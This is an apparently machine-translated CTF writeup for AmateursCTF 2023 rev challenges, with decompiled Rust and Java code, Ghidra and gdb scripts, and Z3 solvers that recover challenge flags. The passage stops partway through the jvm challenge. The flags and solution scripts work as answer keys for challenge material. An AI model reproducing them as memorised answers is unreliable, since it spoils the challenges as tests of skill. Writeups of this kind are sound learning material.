All Articles

AmateursCTF 2023 Writeup

This page has been machine-translated from the original page.

I participated in AmateursCTF 2023, which ran for five days starting on 7/15, with 0nePadding, and we finished 16th out of 914 teams.

image-20230720213725697

Thanks in part to the strong performance of new members who have started participating seriously from this event onward, we stayed just below the very top of the leaderboard the whole time, which made it a pretty intense contest.

For Rev, I managed to clear all of the ELF, PE, and Java problems, but I couldn’t keep up with analyzing more unusual code such as Emojicode and Scratch, so I wasn’t able to finish those in the end.

I’d really like to have one more teammate who mainly works on Rev.

There were a lot of challenges, so this writeup is a bit brief, but here it is.

Table of Contents

rusteze(Rev)

Get rid of all your Rust rust with this brand new Rust-eze™ de-ruster.

Flag is amateursCTF{[a-zA-Z0-9_]+}

This was an ELF binary analysis challenge written in Rust.

When decompiled, it yielded code like the following.

image-20230715110602449

The decompiled result was as follows.

void rusteze::rusteze::main(void)
{
  ulong uVar1;
  Result<(),_std::io::error::Error> self;
  u8 *puVar2;
  ulong in_stack_fffffffffffffdc8;
  undefined7 in_stack_fffffffffffffdd0;
  Arguments local_1b8;
  undefined8 local_188;
  String local_180;
  Result<usize,_std::io::error::Error> local_168;
  undefined8 local_158;
  Arguments local_150;
  byte key [38];
  byte result [38];
  ulong i;
  byte local_c7;
  byte check [38];
  Arguments local_a0;
  Arguments local_70;
  &str local_30;
  byte local_19;
  undefined4 local_18;
  byte local_11;
  &str local_10;
  byte r;
  
  core::fmt::Arguments::new_const
            (&local_1b8,
             (&[&str])CONCAT115(r,CONCAT78(in_stack_fffffffffffffdd0,in_stack_fffffffffffffdc8)));
  std::io::stdio::_print(&local_1b8);
  local_188 = std::io::stdio::stdout();
  self = (Result<(),_std::io::error::Error>)std::io::stdio::{impl#12}::flush(&local_188);
  core::result::Result<(),_std::io::error::Error>::unwrap<(),_std::io::error::Error>(self);
  alloc::string::String::new(&local_180);
                    /* try { // try from 00108f21 to 00108f29 has its CatchHandler @ 00108f43 */
                    /* } // end try from 00108f21 to 00108f29 */
  local_158 = std::io::stdio::stdin();
                    /* try { // try from 00108f66 to 00108fc6 has its CatchHandler @ 00108f43 */
  std::io::stdio::Stdin::read_line(&local_168,&local_158,&local_180);
  core::result::Result<usize,_std::io::error::Error>::unwrap<usize,_std::io::error::Error>
            (&local_168,
             (Result<usize,_std::io::error::Error>)
             CONCAT115(r,CONCAT78(in_stack_fffffffffffffdd0,in_stack_fffffffffffffdc8)));
  alloc::string::{impl#38}::deref(&local_180);
                    /* } // end try from 00108f66 to 00108fc6 */
  local_30 = core::str::{impl#0}::trim
                       ((&str)CONCAT115(r,CONCAT78(in_stack_fffffffffffffdd0,
                                                   in_stack_fffffffffffffdc8)));
  puVar2 = SUB168((undefined  [16])local_30,0);
  local_10 = local_30;
  if (SUB168((undefined  [16])local_30,8) == 0x26) {
    key[0] = 0x27;
    key[1] = 0x97;
    key[2] = 0x57;
    key[3] = 0xe1;
    key[4] = 0xa9;
    key[5] = 0x75;
    key[6] = 0x66;
    key[7] = 0x3e;
    key[8] = 0x1b;
    key[9] = 99;
    key[10] = 0xe3;
    key[11] = 0xa0;
    key[12] = 5;
    key[13] = 0x73;
    key[14] = 0x59;
    key[15] = 0xfb;
    key[16] = 10;
    key[17] = 0x43;
    key[18] = 0x8f;
    key[19] = 0xe0;
    key[20] = 0xba;
    key[21] = 0xc0;
    key[22] = 0x54;
    key[23] = 0x99;
    key[24] = 6;
    key[25] = 0xbf;
    key[26] = 0x9f;
    key[27] = 0x2f;
    key[28] = 0xc4;
    key[29] = 0xaa;
    key[30] = 0xa6;
    key[31] = 0x74;
    key[32] = 0x1e;
    key[33] = 0xdd;
    key[34] = 0x97;
    key[35] = 0x22;
    key[36] = 0xed;
    key[37] = 0xc5;
    memset(result,0,0x26);
    i = 0;
    uVar1 = i;
    while (i = uVar1, i < 0x26) {
      if (0x25 < i) {
                    /* try { // try from 0010933e to 001095c0 has its CatchHandler @ 00108f43 */
                    /* WARNING: Subroutine does not return */
        core::panicking::panic_bounds_check(i,0x26,&DAT_5555555a6038);
      }
      if (0x25 < i) {
                    /* WARNING: Subroutine does not return */
        core::panicking::panic_bounds_check(i,0x26,&DAT_5555555a6050);
      }
      local_19 = puVar2[i] ^ key[i];
      local_18 = 2;
      local_c7 = local_19 << 2 | local_19 >> 6;
      local_11 = local_c7;
      if (0x25 < i) {
                    /* WARNING: Subroutine does not return */
        core::panicking::panic_bounds_check(i,0x26,&DAT_5555555a6068);
      }
      result[i] = local_c7;
      uVar1 = i + 1;
      if (0xfffffffffffffffe < i) {
                    /* WARNING: Subroutine does not return */
        core::panicking::panic("attempt to add with overflowCorrect!\n",0x1c,&DAT_5555555a6080);
      }
    }
    check[0] = 0x19;
    check[1] = 0xeb;
    check[2] = 0xd8;
    check[3] = 0x56;
    check[4] = 0x33;
    check[5] = 0;
    check[6] = 0x50;
    check[7] = 0x35;
    check[8] = 0x61;
    check[9] = 0xdc;
    check[10] = 0x96;
    check[11] = 0x6f;
    check[12] = 0xb5;
    check[13] = 0xd;
    check[14] = 0xa4;
    check[15] = 0x7a;
    check[16] = 0x55;
    check[17] = 0xe8;
    check[18] = 0xfe;
    check[19] = 0x56;
    check[20] = 0x97;
    check[21] = 0xde;
    check[22] = 0x9d;
    check[23] = 0xaf;
    check[24] = 0xd4;
    check[25] = 0x47;
    check[26] = 0xaf;
    check[27] = 0xc1;
    check[28] = 0xc2;
    check[29] = 0x6a;
    check[30] = 0x5a;
    check[31] = 0xac;
    check[32] = 0xb1;
    check[33] = 0xa2;
    check[34] = 0x8a;
    check[35] = 0x59;
    check[36] = 0x52;
    check[37] = 0xe2;
    i = 0;
    uVar1 = i;
    while( true ) {
      i = uVar1;
      if (0x25 < i) {
        core::fmt::Arguments::new_const
                  (&local_70,
                   (&[&str])CONCAT115(r,CONCAT78(in_stack_fffffffffffffdd0,in_stack_fffffffffffffdc8
                                                )));
                    /* } // end try from 0010933e to 001095c0 */
        std::io::stdio::_print(&local_70);
        core::ptr::drop_in_place<alloc::string::String>(&local_180);
        return;
      }
      if (0x25 < i) {
                    /* WARNING: Subroutine does not return */
        core::panicking::panic_bounds_check(i,0x26,&DAT_5555555a6098);
      }
      r = result[i];
      if (0x25 < i) {
                    /* WARNING: Subroutine does not return */
        core::panicking::panic_bounds_check(i,0x26,&DAT_5555555a60b0);
      }
      if (r != check[i]) break;
      in_stack_fffffffffffffdc8 = i + 1;
      uVar1 = in_stack_fffffffffffffdc8;
      if (0xfffffffffffffffe < i) {
                    /* WARNING: Subroutine does not return */
        core::panicking::panic("attempt to add with overflowCorrect!\n",0x1c,&DAT_5555555a60c8);
      }
    }
    core::fmt::Arguments::new_const
              (&local_a0,
               (&[&str])CONCAT115(r,CONCAT78(in_stack_fffffffffffffdd0,in_stack_fffffffffffffdc8)));
    std::io::stdio::_print(&local_a0);
  }
  else {
                    /* try { // try from 00109163 to 0010918e has its CatchHandler @ 00108f43 */
    core::fmt::Arguments::new_const
              (&local_150,
               (&[&str])CONCAT115(r,CONCAT78(in_stack_fffffffffffffdd0,in_stack_fffffffffffffdc8)));
                    /* } // end try from 00109163 to 0010918e */
    std::io::stdio::_print(&local_150);
  }
  core::ptr::drop_in_place<alloc::string::String>(&local_180);
  return;
}

You can see that it accepts an input of 0x26 characters, transforms it with a hard-coded Key, and then compares the result with a likewise hard-coded Check array.

For the arrays hard-coded in the binary, I collected them all at once with the following Ghidra script.

addr = toAddr(0x109011)
inst = getInstructionAt(addr)
result = []
for i in range(0x26):
    result.append(inst.getDefaultOperandRepresentation(1))
    inst = inst.getNext()

print(result)
# [u'0x27', u'0x97', u'0x57', u'0xe1', u'0xa9', u'0x75', u'0x66', u'0x3e', u'0x1b', u'0x63', u'0xe3', u'0xa0', u'0x5', u'0x73', u'0x59', u'0xfb', u'0xa', u'0x43', u'0x8f', u'0xe0', u'0xba', u'0xc0', u'0x54', u'0x99', u'0x6', u'0xbf', u'0x9f', u'0x2f', u'0xc4', u'0xaa', u'0xa6', u'0x74', u'0x1e', u'0xdd', u'0x97', u'0x22', u'0xed', u'0xc5']

addr = toAddr(0x1091b4)
inst = getInstructionAt(addr)
result = []
for i in range(0x26):
    result.append(inst.getDefaultOperandRepresentation(1))
    inst = inst.getNext()

print(result)
# [u'0x19', u'0xeb', u'0xd8', u'0x56', u'0x33', u'0x0', u'0x50', u'0x35', u'0x61', u'0xdc', u'0x96', u'0x6f', u'0xb5', u'0xd', u'0xa4', u'0x7a', u'0x55', u'0xe8', u'0xfe', u'0x56', u'0x97', u'0xde', u'0x9d', u'0xaf', u'0xd4', u'0x47', u'0xaf', u'0xc1', u'0xc2', u'0x6a', u'0x5a', u'0xac', u'0xb1', u'0xa2', u'0x8a', u'0x59', u'0x52', u'0xe2']

As for the transformation, it was only a matter of rotating the input bits and XORing with the Key, so I could recover the flag with the following Python script.

key = [u'0x27', u'0x97', u'0x57', u'0xe1', u'0xa9', u'0x75', u'0x66', u'0x3e', u'0x1b', u'0x63', u'0xe3', u'0xa0', u'0x5', u'0x73', u'0x59', u'0xfb', u'0xa', u'0x43', u'0x8f', u'0xe0', u'0xba', u'0xc0', u'0x54', u'0x99', u'0x6', u'0xbf', u'0x9f', u'0x2f', u'0xc4', u'0xaa', u'0xa6', u'0x74', u'0x1e', u'0xdd', u'0x97', u'0x22', u'0xed', u'0xc5']
res = [u'0x19', u'0xeb', u'0xd8', u'0x56', u'0x33', u'0x0', u'0x50', u'0x35', u'0x61', u'0xdc', u'0x96', u'0x6f', u'0xb5', u'0xd', u'0xa4', u'0x7a', u'0x55', u'0xe8', u'0xfe', u'0x56', u'0x97', u'0xde', u'0x9d', u'0xaf', u'0xd4', u'0x47', u'0xaf', u'0xc1', u'0xc2', u'0x6a', u'0x5a', u'0xac', u'0xb1', u'0xa2', u'0x8a', u'0x59', u'0x52', u'0xe2']

for i in range(0x26):
    r = int(res[i], 16)
    r = (r >> 2 | r << 6) & 0xff
    k = int(key[i], 16)
    print(chr(r^k), end="")

# amateursCTF{h0pe_y0u_w3r3nt_t00_ru5ty}

volcano(Rev)

Inspired by recent “traumatic” events.

nc amt.rs 31010

This one was a brutal fight.

Decompiling the binary shows that it takes three input values and performs multiple operations on each of them.

After several stages of validation on each value, the inputs bear and volcano are eventually passed into the following three functions.

img

These constraints were extremely complicated to solve directly with Z3, and I struggled with them quite a bit, but in the end I realized that if bear and volcano are equal, I can ignore the actual implementations of these functions.

As a result, I was able to recover the flag with the following simple constraints.

from z3 import *
from math import *

s = Solver()
i1 = BitVec('i1', 64)
i2 = BitVec('i2', 64)
i3 = Int('i3')

s.add(i1 > 0)
s.add(i2 > 0)
s.add(i3 > 0)

# bear
s.add(i1 % 2 == 0) # & は NG
s.add(i1 % 3 == 2)
s.add(i1 % 5 == 1)
s.add(i1 % 7 == 3)
s.add(i1 % 0x6d == 0x37)

# volcano
s.add(volcano(i2) == 1)

# volcano = bear
s.add(i1 == i2)

# v3
s.add(i3 % 2 != 0)
s.add(i3 != 1)

result = []
if s.check() == sat:
    for a in s.model():
       print(a, s.model()[a])
       result.append(s.model()[a])
else:
    print("unsat")

By sending the computed input values to the challenge server, I was able to get the flag.

image-20230716055922823

headache(Rev)

Ugh… my head hurts… Flag is amateursCTF{[a-zA-Z0-9_]+}

Decompiling the provided ELF file in Ghidra gives a fairly simple output.

image-20230720221214463

It only validates an input of length 0x3d using the FUN_00401290 function.

However, this is where things get nasty, because that function performs the following kind of processing.

image-20230720221310425

Specifically, it XORs part of the binary data defined in the .text section and then executes the decrypted code.

Inside the restored code, the following process is performed again.

  1. It checks whether the XOR of the a-th and b-th characters of the input matches a hard-coded byte value.
  2. If it matches, it restores the next block of executable code and jumps to that address.

It looked solvable by writing a program to restore the extracted code from the binary, but this time I chose to recover the flag by automating gdb.

By running the code below, you can extract every instance of the check “whether the XOR of the a-th and b-th characters of the input matches the hard-coded byte value.”

# gdb -x run.py
import gdb

BINDIR = "/home/ubuntu/Hacking/CTF/2023/amatureCTF/Rev/headache"
BIN = "headache"
INPUT = "./in.txt"
OUT = "./out.txt"

# gdb.execute('dump binary memory execute.bin 0x4012a4 0x4012b8')
gdb.execute('file {}/{}'.format(BINDIR, BIN))
gdb.execute('b *{}'.format(0x40438c))
gdb.execute('set $ZF = 6')
gdb.execute('run < {} > {}'.format(INPUT, OUT))
ARCH = gdb.selected_frame().architecture()

with open("./gate.txt", "w") as f:
    while True:
        pc = gdb.selected_frame().pc()
        result = ARCH.disassemble(pc, count=1)
        BREAK = int(result[0]["asm"][-8::], 16)
        gdb.execute('b *{}'.format(BREAK))
        gdb.execute('continue')
        result = ARCH.disassemble(BREAK, count=3)
        for instr in result:
            f.write(instr["asm"] + "\n")
            # print(hex(instr["addr"]), instr["asm"])
        gdb.execute('n 3')
        eflags = gdb.parse_and_eval("$eflags")
        if not "ZF" in str(eflags):
            gdb.execute('set $eflags ^= (1 << $ZF)')
        gdb.execute('n')

        # Call
        pc = gdb.selected_frame().pc()
        gdb.execute('b *{}'.format(hex(pc+0x18)))
        gdb.execute('c')

However, with just this result, all you can determine is that “the XOR of the a-th and b-th characters in the correct flag matches the hard-coded byte value.”

So in the end I created the following script using the extracted conditions as constraints and recovered the flag with Z3.

with open("note.txt", "r") as f:
    data = f.readlines()
    i = 0
    for i in range(0,len(data), 3):
        a = data[i].split("\n")[0]
        b = data[i+1].split("\n")[0]
        c = data[i+2].split("\n")[0]
        print("s.add(flag[{}]^flag[{}] == {})".format(a, b, c))

from z3 import *
s = Solver()
flag = [BitVec(f"flag[{i}]", 8) for i in range(0x3d)]
for i in range(0x3d):
    s.add(And(
        (flag[i] >= 0x21),
        (flag[i] <= 0x7e)
    ))

# amateursCTF
s.add(flag[0] == ord("a"))
s.add(flag[1] == ord("m"))
s.add(flag[2] == ord("a"))
s.add(flag[3] == ord("t"))
s.add(flag[4] == ord("e"))
s.add(flag[5] == ord("u"))
s.add(flag[6] == ord("r"))
s.add(flag[7] == ord("s"))
s.add(flag[8] == ord("C"))
s.add(flag[9] == ord("T"))
s.add(flag[10] == ord("F"))
s.add(flag[0x2d]^flag[0xe] == 0x1d)
s.add(flag[0x22]^flag[0x21] == 0x5)
s.add(flag[0x34]^flag[0x28] == 0x5)
s.add(flag[0x38]^flag[0xc] == 0x5)
s.add(flag[0xb]^flag[0x4] == 0x1e)
s.add(flag[0x37]^flag[0x13] == 0x12)
s.add(flag[0x2b]^flag[0x3c] == 0x4e)
s.add(flag[0x16]^flag[0x11] == 0x43)
s.add(flag[0x3b]^flag[0x8] == 0x33)
s.add(flag[0x34]^flag[0x2e] == 0x5)
s.add(flag[0x2b]^flag[0x1f] == 0x5b)
s.add(flag[0x1d]^flag[0xe] == 0xf)
s.add(flag[0x2d]^flag[0x25] == 0x1d)
s.add(flag[0x36]^flag[0x1] == 0x32)
s.add(flag[0x1d]^flag[0x36] == 0x38)
s.add(flag[0x17]^flag[0xa] == 0x2a)
s.add(flag[0x11]^flag[0x8] == 0x70)
s.add(flag[0x21]^flag[0x1e] == 0x3e)
s.add(flag[0x3a]^flag[0x1d] == 0x54)
s.add(flag[0x6]^flag[0x38] == 0x1e)
s.add(flag[0x5]^flag[0x4] == 0x10)
s.add(flag[0xf]^flag[0x10] == 0x42)
s.add(flag[0x4]^flag[0x1e] == 0x3a)
s.add(flag[0x1d]^flag[0x21] == 0x6)
s.add(flag[0x1c]^flag[0x25] == 0x6)
s.add(flag[0x28]^flag[0x1d] == 0x56)
s.add(flag[0xb]^flag[0x5] == 0xe)
s.add(flag[0x2a]^flag[0x12] == 0x2d)
s.add(flag[0x2b]^flag[0x12] == 0x6c)
s.add(flag[0x30]^flag[0x23] == 0x4)
s.add(flag[0x31]^flag[0x25] == 0x37)
s.add(flag[0x22]^flag[0x24] == 0x7)
s.add(flag[0x9]^flag[0x2a] == 0x26)
s.add(flag[0x34]^flag[0x2f] == 0x46)
s.add(flag[0x22]^flag[0x1d] == 0x3)
s.add(flag[0x5]^flag[0x28] == 0x44)
s.add(flag[0x3b]^flag[0x27] == 0x2f)
s.add(flag[0x26]^flag[0x35] == 0x17)
s.add(flag[0x1e]^flag[0x1f] == 0x37)
s.add(flag[0x7]^flag[0x9] == 0x27)
s.add(flag[0x35]^flag[0x16] == 0x2)
s.add(flag[0x3b]^flag[0x37] == 0x3)
s.add(flag[0xa]^flag[0x30] == 0x23)
s.add(flag[0xa]^flag[0x18] == 0x2f)
s.add(flag[0x38]^flag[0x2c] == 0x1d)
s.add(flag[0x27]^flag[0x12] == 0x0)
s.add(flag[0x14]^flag[0xf] == 0x6b)
s.add(flag[0x27]^flag[0x29] == 0x0)
s.add(flag[0x24]^flag[0x35] == 0x11)
s.add(flag[0x1a]^flag[0x1] == 0x5a)
s.add(flag[0x27]^flag[0xe] == 0x37)
s.add(flag[0x30]^flag[0x9] == 0x31)
s.add(flag[0x2b]^flag[0x35] == 0x41)
s.add(flag[0x6]^flag[0xc] == 0x1b)
s.add(flag[0x21]^flag[0x3] == 0x15)
s.add(flag[0x8]^flag[0x18] == 0x2a)
s.add(flag[0x34]^flag[0x2] == 0x55)
s.add(flag[0xf]^flag[0x1b] == 0x5d)
s.add(flag[0x7]^flag[0x3b] == 0x3)
s.add(flag[0x26]^flag[0x17] == 0x9)
s.add(flag[0x1d]^flag[0x8] == 0x24)
s.add(flag[0xc]^flag[0x5] == 0x1c)
s.add(flag[0x37]^flag[0x1d] == 0x14)
s.add(flag[0x25]^flag[0x2] == 0x9)
s.add(flag[0x37]^flag[0x29] == 0x2c)
s.add(flag[0x13]^flag[0x21] == 0x0)
s.add(flag[0x33]^flag[0x3] == 0x44)
s.add(flag[0x39]^flag[0x32] == 0x5e)
s.add(flag[0x27]^flag[0x21] == 0x3e)
s.add(flag[0x4]^flag[0x19] == 0x52)
s.add(flag[0xe]^flag[0x7] == 0x1b)
s.add(flag[0x24]^flag[0x3] == 0x17)
s.add(flag[0x30]^flag[0x11] == 0x56)
s.add(flag[0x18]^flag[0x2a] == 0x1b)
s.add(flag[0x38]^flag[0x18] == 0x5)
s.add(flag[0x18]^flag[0x34] == 0x5d)
s.add(flag[0x3]^flag[0x28] == 0x45)
s.add(flag[0x1a]^flag[0x9] == 0x63)
s.add(flag[0xd]^flag[0x22] == 0x3b)
s.add(flag[0x1e]^flag[0x23] == 0x3e)
s.add(flag[0x1e]^flag[0x35] == 0x2d)
s.add(flag[0x6]^flag[0x2] == 0x13)
s.add(flag[0x2a]^flag[0x18] == 0x1b)
s.add(flag[0x32]^flag[0x1d] == 0xa)
s.add(flag[0x1d]^flag[0x29] == 0x38)
s.add(flag[0x24]^flag[0x1] == 0xe)
s.add(flag[0x1]^flag[0x21] == 0xc)
s.add(flag[0xc]^flag[0x2e] == 0x58)
s.add(flag[0x36]^flag[0x19] == 0x68)
s.add(flag[0x35]^flag[0x16] == 0x2)
s.add(flag[0x30]^flag[0x24] == 0x6)
s.add(flag[0x11]^flag[0x2d] == 0x46)
s.add(flag[0x1]^flag[0x5] == 0x18)
s.add(flag[0xc]^flag[0x18] == 0x0)
s.add(flag[0x34]^flag[0x10] == 0x42)
s.add(flag[0x3a]^flag[0xb] == 0x48)
s.add(flag[0x21]^flag[0x12] == 0x3e)
s.add(flag[0x34]^flag[0x16] == 0x44)
s.add(flag[0x2a]^flag[0x1a] == 0x45)
s.add(flag[0x1e]^flag[0x13] == 0x3e)
s.add(flag[0xc]^flag[0x2d] == 0x1c)
s.add(flag[0x19]^flag[0x39] == 0x4)
s.add(flag[0x20]^flag[0x8] == 0x26)
s.add(flag[0xb]^flag[0x26] == 0x1e)
s.add(flag[0x23]^flag[0x29] == 0x3e)
s.add(flag[0x38]^flag[0xf] == 0x58)
s.add(flag[0x39]^flag[0x17] == 0x5f)
s.add(flag[0x22]^flag[0x2b] == 0x57)
s.add(flag[0x39]^flag[0x15] == 0x40)
s.add(flag[0x1]^flag[0x10] == 0x1b)
s.add(flag[0x11]^flag[0x6] == 0x41)
s.add(flag[0x2]^flag[0x1f] == 0x9)
s.add(flag[0x2c]^flag[0x13] == 0x10)
s.add(flag[0x2c]^flag[0x2b] == 0x42)
s.add(flag[0x37]^flag[0x34] == 0x47)
s.add(flag[0xa]^flag[0x23] == 0x27)
s.add(flag[0x22]^flag[0x1] == 0x9)
s.add(flag[0x24]^flag[0x21] == 0x2)
s.add(flag[0x32]^flag[0x21] == 0xc)
s.add(flag[0x25]^flag[0x1f] == 0x0)
s.add(flag[0x36]^flag[0x1b] == 0x36)
s.add(flag[0x33]^flag[0x3a] == 0x3)
s.add(flag[0x2c]^flag[0x19] == 0x46)
s.add(flag[0xd]^flag[0xb] == 0x24)
s.add(flag[0x1b]^flag[0x4] == 0xc)
s.add(flag[0x9]^flag[0x24] == 0x37)
s.add(flag[0x23]^flag[0x1] == 0xc)
s.add(flag[0x15]^flag[0x39] == 0x40)
s.add(flag[0x1a]^flag[0x17] == 0x5b)
s.add(flag[0x1f]^flag[0x35] == 0x1a)
s.add(flag[0x2a]^flag[0x1b] == 0x1b)
s.add(flag[0x2c]^flag[0x14] == 0x2e)
s.add(flag[0x21]^flag[0x33] == 0x51)
s.add(flag[0x11]^flag[0x37] == 0x40)
s.add(flag[0x16]^flag[0x23] == 0x11)
s.add(flag[0xc]^flag[0x19] == 0x5e)
s.add(flag[0x9]^flag[0x2] == 0x35)
s.add(flag[0xd]^flag[0x32] == 0x32)
s.add(flag[0x3a]^flag[0x1b] == 0x5a)
s.add(flag[0x3]^flag[0x2d] == 0x1)
s.add(flag[0x25]^flag[0x1e] == 0x37)
s.add(flag[0x35]^flag[0x38] == 0x1e)
s.add(flag[0x8]^flag[0xc] == 0x2a)
s.add(flag[0x14]^flag[0x16] == 0x2f)
s.add(flag[0x4]^flag[0x1e] == 0x3a)
s.add(flag[0x18]^flag[0x2f] == 0x1b)
s.add(flag[0x22]^flag[0x1b] == 0xd)
s.add(flag[0x1c]^flag[0x1b] == 0x7)
s.add(flag[0x30]^flag[0x38] == 0x9)
s.add(flag[0x14]^flag[0x10] == 0x29)
s.add(flag[0x34]^flag[0x8] == 0x77)
s.add(flag[0x32]^flag[0xf] == 0x59)
s.add(flag[0x18]^flag[0x17] == 0x5)
s.add(flag[0x2d]^flag[0xb] == 0xe)
s.add(flag[0x3a]^flag[0x2] == 0x52)
s.add(flag[0xe]^flag[0x3a] == 0x5b)
s.add(flag[0x36]^flag[0x9] == 0xb)
s.add(flag[0x2f]^flag[0x8] == 0x31)
s.add(flag[0x3]^flag[0x29] == 0x2b)
s.add(flag[0x3]^flag[0x3c] == 0x9)
s.add(flag[0x18]^flag[0x2b] == 0x5a)
s.add(flag[0x8]^flag[0x12] == 0x1c)
s.add(flag[0x1e]^flag[0x8] == 0x1c)
s.add(flag[0x16]^flag[0x19] == 0x47)
s.add(flag[0x34]^flag[0x5] == 0x41)
s.add(flag[0x14]^flag[0x1] == 0x32)
s.add(flag[0xe]^flag[0x33] == 0x58)
s.add(flag[0x12]^flag[0x2d] == 0x2a)
s.add(flag[0x7]^flag[0x1d] == 0x14)
s.add(flag[0x17]^flag[0x2a] == 0x1e)
s.add(flag[0x1c]^flag[0x1d] == 0x9)
s.add(flag[0x31]^flag[0x24] == 0x3c)
s.add(flag[0xa]^flag[0x27] == 0x19)
s.add(flag[0x39]^flag[0xa] == 0x75)
s.add(flag[0xd]^flag[0x37] == 0x2c)
s.add(flag[0x39]^flag[0x19] == 0x4)
s.add(flag[0x29]^flag[0x19] == 0x68)
s.add(flag[0x3b]^flag[0x14] == 0x2f)
s.add(flag[0x17]^flag[0xe] == 0x4)
s.add(flag[0x1a]^flag[0x1b] == 0x5e)
s.add(flag[0x3a]^flag[0x5] == 0x46)
s.add(flag[0x10]^flag[0x25] == 0x1e)
s.add(flag[0x39]^flag[0xe] == 0x5b)
s.add(flag[0x19]^flag[0x11] == 0x4)
s.add(flag[0x6]^flag[0x28] == 0x43)
s.add(flag[0x28]^flag[0xd] == 0x6e)
s.add(flag[0x36]^flag[0x1e] == 0x0)
s.add(flag[0x19]^flag[0xd] == 0x68)
s.add(flag[0x2]^flag[0x12] == 0x3e)
s.add(flag[0xd]^flag[0xa] == 0x19)
s.add(flag[0x27]^flag[0x21] == 0x3e)
s.add(flag[0x12]^flag[0x22] == 0x3b)
s.add(flag[0x6]^flag[0x23] == 0x13)
s.add(flag[0x31]^flag[0x26] == 0x3a)
s.add(flag[0x4]^flag[0x2] == 0x4)
s.add(flag[0x30]^flag[0x34] == 0x51)
s.add(flag[0x3a]^flag[0xe] == 0x5b)
s.add(flag[0x2d]^flag[0x6] == 0x7)
s.add(flag[0x13]^flag[0x8] == 0x22)
s.add(flag[0x4]^flag[0x36] == 0x3a)
s.add(flag[0x22]^flag[0x3] == 0x10)
s.add(flag[0xc]^flag[0xb] == 0x12)
s.add(flag[0x25]^flag[0x3c] == 0x15)
s.add(flag[0x39]^flag[0x2b] == 0x0)
s.add(flag[0xd]^flag[0x7] == 0x2c)
s.add(flag[0x18]^flag[0x7] == 0x1a)
s.add(flag[0x37]^flag[0x35] == 0x1)
s.add(flag[0x19]^flag[0x6] == 0x45)

while s.check() == sat:
    m = s.model()
    for c in flag:
        print(chr(m[c].as_long()),end="")
    print("")
    break

CSCE221-Data Structures and Algorithms(Rev)

I was doing some homework for my Data Structures and Algorithms class, but my program unexpectedly crashed when I entered in my flag. Could you help me get it back?

Here’s the coredump and the binary, I’ll even toss in the header file. Can’t give out the source code though, how do I know you won’t cheat off me?

This challenge gives you an ELF binary and a core dump of that binary.

I was briefly stuck because the core dump could not be loaded into gdb due to a format mismatch error, but I found that Ghidra could analyze it, so I continued from there.

First, I analyzed the normal ELF file itself.

It turned out that this binary uses custom structures called list and listnode to split the input string and store it in memory.

typedef unsigned char byte;
struct listnode {
    byte data;
    struct listnode *ptr;
};

struct list {
    int len;
    struct listnode *head;
}(list);

void list_init(struct list *list, byte *data, int len);
void list_mix(struct list *list);

So first, I identified the address of the main function from the core dump.

image-20230717063914292

Next, I created structure definitions for list and listnode in Ghidra.

image-20230717064205346

You have to be careful here because alignment requires including padding bytes.

image-20230717064219114

Once I registered the structures I defined here in the data section of the core dump, I could see that the pointer addresses to the listnode structures held by the list structure had been filled in.

image-20230717064149325

I thought I could get the flag just by following those pointers, but unfortunately the linked list of listnode structures had been corrupted partway through.

image-20230717064319526

However, even though the list pointers were corrupted, the actual memory data itself seemed to still be intact, so I wrote the following Ghidra script to assign listnode structures over the memory region and recover the values.

from ghidra.app.script import GhidraScript

# listnode の取得
data_type_manager = currentProgram.getDataTypeManager()
my_structure = data_type_manager.getDataType("main.coredump/listnode")
start_address = toAddr("0x405000")
data_section = currentProgram.getMemory().getBlock(start_address)

flag = ""
listnode_addr = 0x4052a0
for i in range(0x1d):   
    data_address = toAddr(hex(listnode_addr))
    data_object = createData(data_address, my_structure)
    data_structure = data_object.dataType
    data_component = data_structure.getComponent(0x0)
    offset = data_component.offset
    length = data_component.length
    data_type = data_component.dataType
    byte_array = getBytes(data_address.add(offset), length)
    flag += chr(byte_array[0])
    listnode_addr += 32

Running this script let me recover the flag in Ghidra.

image-20230717072951023

jvm(Rev)

I heard my professor talking about some “Java Virtual Machine” and its weird gimmicks, so I took it upon myself to complete one. It wasn’t even that hard? I don’t know why he was complaining about it so much.

This was a Java-based VM challenge.

It was my revenge match after the recent UIUCTF VM problem, and this time I somehow managed to solve it.

I decompiled the provided class file with jadx and added print debugging to several parts of the processing.

import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStreamReader;

public class Solver {
    static byte[] program;

    public static void main(String[] strArr) throws IOException {
        File file = new File(strArr[0]);
        FileInputStream fileInputStream = new FileInputStream(file);
        program = new byte[(int) file.length()];
        fileInputStream.read(program);
        fileInputStream.close();
        vm();
    }

    private static void vm() throws IOException {
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(System.in));
        int pc = 0;
        int sp = 0;
        int[] stack = new int[1024];
        int[] buf = new int[4];
        while (pc < program.length) {
            // System.out.println(stack);
            // System.out.println(buf);
            System.out.print("Offset: ");
            System.out.print(Integer.toHexString(pc));
            System.out.print("  Call: ");
            System.out.println(program[pc]);
            // System.out.println(stack[0]);
            switch (program[pc]) {
                case 0:
                case 1:
                case 2:
                case 3:
                    // System.out.println(program[pc]);
                    byte b = program[pc];
                    byte b2 = program[pc + 1];
                    int i3 = buf[b];
                    buf[b] = buf[b2];
                    buf[b2] = i3;
                    System.out.print("======> 0x0 0x1 0x2 0x3 : ");
                    System.out.print("Swap buf[b] = ");
                    System.out.print(buf[b]);
                    System.out.print(" buf[b2] = ");
                    System.out.println(buf[b2]);
                    pc += 2;
                    break;
                case 8:       
                    byte b3 = program[pc + 1];
                    System.out.print("======> 0x8 b3 :");
                    System.out.print(b3);
                    System.out.print("  buf[b3] = ");
                    System.out.print(buf[b3]);
                    System.out.print(" + ");
                    System.out.print(program[pc + 2]);
                    buf[b3] = buf[b3] + program[pc + 2];
                    System.out.print("  Result : ");
                    System.out.println(buf[b3]);
                    pc += 3;
                    break;
                case 9:
                    byte b4 = program[pc + 1];
                    System.out.print("======> 0x9 b4 : ");
                    System.out.print(b4);
                    System.out.print(" buf[b4] = ");
                    System.out.print(buf[b4]);
                    System.out.print(" + ");
                    System.out.print(buf[program[pc + 2]]);
                    buf[b4] = buf[b4] + buf[program[pc + 2]];
                    System.out.print("  Result : ");
                    System.out.println(buf[b4]);
                    pc += 3;
                    break;
                case 12:
                    // input-1
                    // check-3
                    byte b5 = program[pc + 1];
                    // buf[0] = buf[b5] - 1
                    System.out.print("======> 0x12 Buf :");
                    System.out.print(b5);
                    System.out.print("  buf[b5] = ");
                    System.out.print(buf[b5]);
                    System.out.print(" - ");
                    System.out.print(program[pc + 2]);
